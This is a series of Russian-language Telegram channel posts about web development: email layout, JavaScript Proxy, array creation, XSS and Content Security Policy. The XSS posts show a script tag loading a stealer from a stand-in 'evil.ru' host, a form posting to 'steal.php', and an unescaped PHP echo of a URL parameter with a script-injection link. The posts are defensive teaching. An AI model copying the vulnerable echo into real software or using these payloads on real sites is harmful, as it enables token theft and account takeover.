progway — программирование, IT
2.65K subscribers
25 photos
1 video
246 links
Чат: @prog_way_chat

Разборы вопросов и задач с собеседований, мысли, полезные материалы и просто вещи, что мне интересны из мира IT

Полезности и навигация в закрепе

По всем вопросам: @denisputnov
Download Telegram
Верстка писем — это боль? или нет..?

Если вы думали, что адаптивная верстка для всех браузеров — это сложно, попробуйте сверстать email, который одинаково выглядит в Gmail, Outlook, Yahoo и десятках других почтовых клиентов...


Вёрстка письма — это крайне специфичное занятие, при котором нет возможности использовать добрую половину, если не больше, возможностей HTML и CSS

Почтовые движки настолько старые, что многие из них до сих пор требуют верстки с использованием таблиц, прямо как в 90-х. Но гораздо интереснее вопрос — почему получилось именно так? Я бы выделил пару причин:

➡️ Что и так понятно, причина историческая

Вёрстка письма — задача часто тривиальная. Вот многие и не заморачиваются с обновлением движков, так как это не дает какой-то бизнес выгоды. Нет абсолютно никакой разницы между вёрсткой письма для отправки PIN-кода для входа на таблицах или на флексах

➡️ Безопасность

Если углубиться и задуматься, то окажется, что у большинства запретов есть свой вполне объективный смысл. Есть много способов "заставить" вёрстку сходить куда-то за данными:

@font-face { src: url(...) }
background-image: url(...)
list-style-image: url(...)

<form action="https://.../steal.php" method="get">


И ещё куча других примеров — везде так или иначе наше письмо отправляет какой-то запрос. А это уже опасно тем, что открывает кучу возможностей для слежки за пользователем. Например, можно узнать реальный IP пользователя просто при открытии письма (открытие письма → запрос картинки → трекинг IP)

Также, например, запрещён position:fixed, потому что позволяет фиксировать элементы на экране, что можно использовать для фишинга. Например, можно зафиксировать модалку поверх письма с призывом ввести пароль, и она будет выглядеть как часть интерфейса почтового клиента

Но самое главное, что всё реально развивается и стало лучше!


— Outlook теперь рендерит письма на движке от Edge, а не от Microsoft Word (блин, да! до 2022 года письма реально рендерились на основе... ворда! )
— почти все почтовые клиенты научились понимать <div /> 😎
— много где появилась поддержка медиа запросов
— ну и много чего ещё

А самое главное, что появились крутые инструменты для вёрстки писем, которые из коробки закрывают много проблем — когда-то относительно давно появился MJML и сделал небольшую революцию, а в последние годы так и вовсе очень сильно хайпят react-email или vue-email

Мне недавно довелось сверстать десяток писем на react-email и с уверенностью могу сказать, что это было совсем-совсем не больно:
— тут тебе и tailwind
— и аля аналог storybook для шаблонов
— кастомные шрифты
— куча шаблонов и примеров кода
— поддержка markdown для текстов
— куча фиксов для почтовых клиентов...

И
всё это чудо в удобной обёртке из коробки с поддержкой компонентного подхода без смс и даже без регистрации

Как по мне, в современных реалиях верстать письма стало в разы легче, за что большое спасибо всему комьюнити. Если вдруг ранее вы обходили стороной вёрстку писем, загляните. Это тоже по-своему интересно

Ну и react-email тоже рекомендую, приятный инструмент

Спасибо за прочтение, это важно для меня ❤️

@prog_way_blogчат#useful #web #react
Please open Telegram to view this post
VIEW IN TELEGRAM
👍326🔥6🐳2🤔1
Как реагировать на изменения объекта

В JavaScript обычные объекты не умеют уведомлять о своих изменениях, однако эту задачу можно решить с помощью Proxy

Proxy — это специальный встроенный в язык объект-обёртка, который позволяет изменить поведение других объектов, перехватывая действия над ними

new Proxy(target, handlers) создаёт прокси для объекта target, где handler содержит ловушки для перехвата операций

Ловушек много — get, set, deleteProperty, has... (подробнее на MDN) — каждая из ловушек переопределяет реакцию объекта на взаимодействие с ним

Например, можно переопределить поведение объекта при обращении к какому-нибудь из его свойств:
const user = { name: "Денис", age: 23 };

const proxyUser = new Proxy(user, {
get(target, key) {
return key in target ? target[key] : "Не найдено";
}
});

proxyUser.name // "Денис"
proxyUser.city // "Не найдено"


Но это лишь частный случай, можно сделать более утилитарный пример:
const reactive = (obj, callback) => {
return new Proxy(obj, {
set(target, key, value) {
target[key] = value; // обновляем значение
callback(key, value); // вызываем реакцию
return true;
}
});
};

// Используем:
const state = reactive({ count: 0 }, (key, value) => {
console.log(`Свойство "${key}" изменилось:`, value);
});

state.count = 1; // Лог: "Свойство 'count' изменилось: 1"
state.count = 5; // Лог: "Свойство 'count' изменилось: 5"

Прикрутить сюда типы и рекурсивный вызов функции reactive на каждый вложенный объект и у вас почти получится свой vue.js 🗿


Сам Proxy — это крайне нишевый инструмент, особенно в экосистеме реакта, где его встретить крайне сложно. Обычно можно обойтись более простыми вещами, но знать про прокси тоже нужно, может и пригодится. По крайней мере, у меня такой кейс на практике всё же был

В первую очередь прокси удобен конечно же для создания реактивных систем, но также его можно применять, например, для валидации свойств и логирования

Удобно, что Proxy крайне прост и к нему можно прикрутить что угодно. Например, к прокси можно прилепить zod для валидации, как это сделано в zoxy. Тут вы ограничены лишь своей фантазией

Если кратко:

— Proxy — обёртка, которая позволяет переопределить реакцию на операцию для объекта
— Переопределение поведения происходит при помощи "ловушек"


Спасибо за прочтение, это важно для меня ❤️

@prog_way_blogчат#theory #useful #javascript #code #web #patterns
Please open Telegram to view this post
VIEW IN TELEGRAM
28🔥15👍7🐳3🤓1
Как создать массив фиксированной длины?

На самом деле, способов множество. Можно создать простой массив пустых элементов:
Array(100)


Но тогда будет проблема с тем, чтобы его заполнить.
Решить её очень просто — можно просто заполнить массив через метод fill:
Array(100).fill(0)


Или мы можем попробовать вызвать метод map и заполнить массив индексами:
Array(100).map((_, index) => index)


Пробуйте угадать что получится в ходе выполнения кода выше😂

Ответ:
⬇️

Получится [empty × 100], а не массив индексов)

Тут дело в том, что при вызове Array(100) у нас изначально создаётся "разряженный" массив. Это когда под каждый элемент массива даже память не выделяется.

Язык просто создаёт пустую структуру с полем length в значении 100


А что будет, если вызвать вот такой код?
Object.keys(Array(100)).length


Ответ: ноль, потому что значений в массиве по сути то и нет. Поэтому и map не работает

Поэтому если мы хотим использовать map, то придётся использовать вот такой хак:
[...Array(100)].map((_, index) => index)

Такая конструкция уже превратит разряженный массив в массив из сотни undefined и позволит вызвать map

Мой любимый способ, который я использую всегда в подобных кейсах:
Array.from({ length: 100 })


Мне так привычнее и синтаксически наиболее понятно. Да и ещё фишка в том, что вторым аргументом в from можно сразу передать функцию-маппер:
Array.from({ length: 100 }, () => 'привет')


Ну или прям совсем в лоб, про такое тоже не забываем:
const array = []

for (let i = 0; i < 100; i++) {
array.push('progway')
}


Спасибо за прочтение, это важно для меня ❤️

@prog_way_blogчат#web #javascript #theory #data
Please open Telegram to view this post
VIEW IN TELEGRAM
👍358🐳7👀3🤔1🗿1
Что такое XSS

XSS — это тип уязвимости, при которой злоумышленник внедряет в страницу свой скрипт, и этот скрипт выполняется в браузере жертвы как будто от имени доверенного сайта

При помощи XSS зачастую можно потерять cookies, localStorage, а также получить подмену содержимого страницы (например, на страницу встроится какая-нибудь фишинговая форма)

На основе вышеописанного и украденных данных авторизации уже можно сделать любое действие от лица пользователя, будь то отправка сообщения, банковский перевод или любая другая операция


Как по мне, самый распространенный вариант попасться на XSS атаку сейчас — поставить себе недобросовестное браузерное расширение и дать ему слишком много разрешений на ходу

Сайты, не защищённые CSP или с 'unsafe-inline' директивой — лакомый кусочек для таких типов атак

1. Вы устанавливаете расширение, которое парсит страницу (ваш банк, например) и вставляет HTML через innerHTML

2. Внедряется какой-нибудь <script src="https://evil.ru/steal.js"></script>, этот скрипт крадёт токен из localStorage и отправляет на сервер злоумышленника

Итог: с вашим токеном можно украсть деньги, данные или сделать что-угодно от вашего имени. И это лишь один из тысячи примеров


Есть несколько основных способов защититься:
— Всегда экранировать пользовательский ввод
— Не использовать небезопасные методы редактирования HTML разметки (например, innerHTML)
— Не забывать про флаг HttpOnly на куках
— Использовать Content Security PolicyCSP (об этом в одном из следующих постов)

Спасибо за прочтение, это важно для меня 💙

@prog_way_blogчат#theory #useful #web
Please open Telegram to view this post
VIEW IN TELEGRAM
26👍13🔥10🐳1
Content Security Policy

CSP — механизм защиты веб-приложений в браузере, который регулирует из каких источников браузер может загружать ресурсы и выполнять их (скрипты, стили, шрифты, картинки и т.д.)

Основная задача CSP — защитить пользователя от инъекционных атак, типа XSS, блокируя любые недоверенные ресурсы

CSP можно задавать через HTTP заголовок или через meta тег. И, если честно, с CSP в мета тегах я никогда не сталкивался, поэтому осознанно опущу эту часть, такой способ задания наименее гибкий и полезный и подходит только для статики

Обычно политику можно задать в конфиге Nginx, условного Express или даже в докере через заголовок: Content-Security-Policy. Выглядеть это в упрощённом случае может примерно так:

Content-Security-Policy: default-src 'self' https://trusted.ru;


Эта запись означает, что ресурсы можно загружать только с домена приложения либо с trusted.ru


Если на сайте настроена CSP без разрешения на инлайн-скрипты 'unsafe-inline' и без сторонних доменов, код злоумышленника просто не выполнится: браузер заблокирует <script> вне белого списка. Это эффективно снижает риск XSS
unsafe-inline — это директива CSP, которая позволяет браузеру выполнять инлайн-скрипты, вставленные в дом на лету. Это может быть удобно, но сильно ослабляет защиту сайта в целом.


Вот так это может выглядеть:

Content-Security-Policy:
default-src 'self';
script-src 'self' 'unsafe-inline';


В целом, если не заниматься какой-то откровенной порнографией, то современные инструменты разработки типа Nuxt/Next из коробки несут в себе очень много минорных и не очень фичей для безопасности ваших пользователей, не отключайте их, если не знаете, что делаете

Ну и так же помните, что фреймворки не защищают вас полностью


А CSP — не панацея, но очень мощный инструмент “защиты в глубину”.
Настройте хотя бы простое правило (default-src 'self'), а дальше постепенно добавляйте всё, что вам будет нужно. Это всё равно лучше, чем ничего

Спасибо за прочтение, это важно для меня 🥰

@prog_way_blogчат#theory #useful #web
Please open Telegram to view this post
VIEW IN TELEGRAM
16👍11🔥6🐳2
Ещё один пример XSS уязвимости

Предположим, сайт a.com не защищён от XSS. Допустим, там есть URL-параметр, который встраивается в страницу как есть:

<div>Результаты поиска: <?php echo $_GET['query']; ?></div>


Что делает злоумышленник:

1. Создаёт специальную ссылку, например:
https://a.com/search?query=<script>alert('Я украл твою почку!')</script>


2. Обманом заставляет вас перейти по этой ссылке (через фишинговое письмо, сообщение в соцсети и т.д.)

Что происходит у вас в браузере:

1. Вы заходите на a.com через эту ссылку

2. Сервер a.com вставляет <script>...</script> прямо в HTML

3. Ваш браузер видит этот скрипт и выполняет его, потому что считает, что он пришёл с доверенного сайта a.com

Ну и всё, вы остались без почки

Поможет ли тут CSP? Ответ: увы, нет

Нужно понимать, что CSP проверяет только источник, а не содержимое скрипта. Тут вредоносный скрипт встроил сам доверенный сервер, CSP такой скрипт ничем не смутит. Зато эту проблему можно решить банальным экранированием


Спасибо за прочтение, это важно для меня 💖

@prog_way_blogчат#theory #useful #web
Please open Telegram to view this post
VIEW IN TELEGRAM
16👍12🤯6🐳6🔥4